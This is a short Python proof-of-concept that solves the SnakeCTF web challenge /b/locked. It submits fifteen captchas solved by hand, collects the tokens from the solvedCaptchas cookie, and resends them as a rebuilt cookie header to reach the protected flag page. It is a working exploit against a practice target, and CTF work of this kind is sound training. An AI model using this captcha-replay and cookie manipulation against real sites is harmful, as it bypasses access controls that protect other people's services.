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POC for SnakeCTF Web challenge /b/locked
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| import requests | |
| import json | |
| import urllib.parse | |
| BASE = "https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/" | |
| # Solve them manually without validating them and store the solution here | |
| CAPTCHAS = { | |
| "6de6162a9274b129823ba174" : "DCDRB2", | |
| "647ae4bd013aadadb9f87528" : "42GVD8", | |
| "269e7baedaeff2321a484d0f" : "UAS9G8", | |
| "faef1cd97abdd8212820b70f" : "DCN6XE", | |
| "a376c6e3f0d24d33ef985786" : "BTFMTS", | |
| "710ef950f9ddee539a6c058b" : "HSNRGS", | |
| "7a26b43dcb75da0d8122a9d7" : "7785P3", | |
| "c8a032e00f036b2b4916e950" : "9Q5GX9", | |
| "1809530bc3e9314ba902344b" : "23J6LS", | |
| "146dbd4b2c08c69fdee7bcd7" : "5KXP9Q", | |
| "ebee0e6a13d62cbe1b32b21f" : "SWDXVH", | |
| "02b12fdfcadc0af1ee92aa7b" : "2X2DFN", | |
| "43b0e0d636a402433c5dc586" : "76CPCD", | |
| "715d1d17d8f2d5f07e60cfd5" : "EWFHQU", | |
| "49c5c8d7008847205d40cf95" : "DVNDDX", | |
| } | |
| session = requests.Session() | |
| all_tokens = [] | |
| # Solve all captchas and collect tokens | |
| for cid, sol in CAPTCHAS.items(): | |
| print(f"[+] Solve {cid} with {sol}") | |
| r = session.post( | |
| f"{BASE}/api/solve", | |
| json={"captchaId": cid, "solution": sol}, | |
| ) | |
| if "set-cookie" in r.headers and r.status_code == 200: | |
| sc = r.headers["set-cookie"] | |
| if sc.lower().startswith("solvedcaptchas="): | |
| cookie_val = sc.split(";",1)[0].split("=",1)[1] | |
| decoded = urllib.parse.unquote(cookie_val) | |
| try: | |
| arr = json.loads(decoded) | |
| all_tokens = arr | |
| except Exception as e: | |
| print("Cookie parse error:", e) | |
| print("\n[+] Tokens collected :", all_tokens) | |
| csv_tokens = "solvedCaptchas=" + ",".join(all_tokens) | |
| print("[+] Header solvedCaptchas :", csv_tokens) | |
| # Access protected page | |
| session.headers.update({'Cookie' : csv_tokens}) | |
| r = session.get(f"{BASE}/protected") | |
| # Retrieve flag | |
| print("\n[+] Protected page content:") | |
| print(r.text) |
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